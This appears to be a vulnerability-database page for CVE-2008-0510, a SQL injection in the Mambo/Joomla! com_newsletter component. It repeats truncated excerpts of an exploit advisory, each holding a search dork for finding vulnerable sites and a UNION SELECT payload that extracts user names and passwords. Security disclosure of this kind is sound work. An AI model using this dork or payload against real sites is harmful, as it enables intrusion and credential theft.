CVE-2008-0510

CVE-2008-0510 affects the Newsletter (com_newsletter) component in Mambo 4.5 and Joomla!, where a SQL injection flaw in index.php can be exploited via the listid parameter to execute arbitrary SQL commands. This is a remote vulnerability with attacker-controlled input, potentially impacting data ...

CVE-2008-0510: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in index.php in the Newsletter comnewsletter component for Mambo 4.5 and Joomla! allows remote attackers to execute arbitrary SQL commands via the listid parameter...

joomlanewsletter-sql.txt

joomla SQL Injectioncomnewsletter AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comnewsletter" EXPLOIT : index.php?option=comnewsletter&Itemid=S@BUN&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY S@BUN notes:...

Mambo Component com_newsletter 4.5 - listid SQL Injection

Mambo Component comnewsletter 4.5 - listid SQL Injection joomla SQL Injectioncomnewsletter AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comnewsletter" EXPLOIT : index.php?option=comnewsletter&Itemid=S@BUN&listid=9999999//union//select//name,password//from//mosusers/ S@BU...

Mambo Component 'com_newsletter' 4.5 - 'listid' SQL Injection

joomla SQL Injectioncomnewsletter AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comnewsletter" EXPLOIT : index.php?option=comnewsletter&Itemid=S@BUN&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY S@BUN notes:...